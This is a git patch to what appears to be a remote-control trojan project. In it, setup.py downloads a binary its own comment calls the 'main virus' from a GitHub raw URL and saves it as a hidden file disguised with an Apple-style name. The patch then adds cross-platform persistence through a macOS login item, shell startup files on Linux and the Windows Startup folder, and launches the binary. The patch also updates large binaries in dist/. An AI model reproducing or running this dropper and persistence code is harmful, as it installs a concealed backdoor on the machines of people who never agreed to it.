From 37ecd76e261d82638fd997d4d40dd3c3bd8072c3 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Mon, 14 Aug 2023 17:25:10 +0800 Subject: updated --- dist/main | Bin 6871264 -> 39545520 bytes dist/setup | Bin 4298928 -> 21327648 bytes setup.py | 14 +++++++++++++- 3 files changed, 13 insertions(+), 1 deletion(-) diff --git a/dist/main b/dist/main index ce44950..288439d 100755 Binary files a/dist/main and b/dist/main differ diff --git a/dist/setup b/dist/setup index 84aaeea..edb67cc 100755 Binary files a/dist/setup and b/dist/setup differ diff --git a/setup.py b/setup.py index e982ce6..fa73c62 100644 --- a/setup.py +++ b/setup.py @@ -3,6 +3,7 @@ from os.path import expanduser from os import remove from subprocess import Popen as subproc from os import system +from sys import platform filename = "com.apple.com.user.core" localfile = f"{expanduser('~')}/.{filename}" @@ -10,7 +11,18 @@ localfile = f"{expanduser('~')}/.{filename}" # download main virus open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) -system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null") system(f"chmod 555 {localfile}") +if platform == "darwin": + system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null") +elif platform == "linux": + from os import environ + if 'zsh' in environ['SHELL']: + system(f"echo {localfile} >> {expanduser('~')}/.zshenv") + elif 'bash' in environ['SHELL']: + system(f"echo {localfile} >> {expanduser('~')}/.bashenv") +elif platform == "win32": + from shutil import copy + copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp") + subproc([localfile]) -- cgit v1.2.3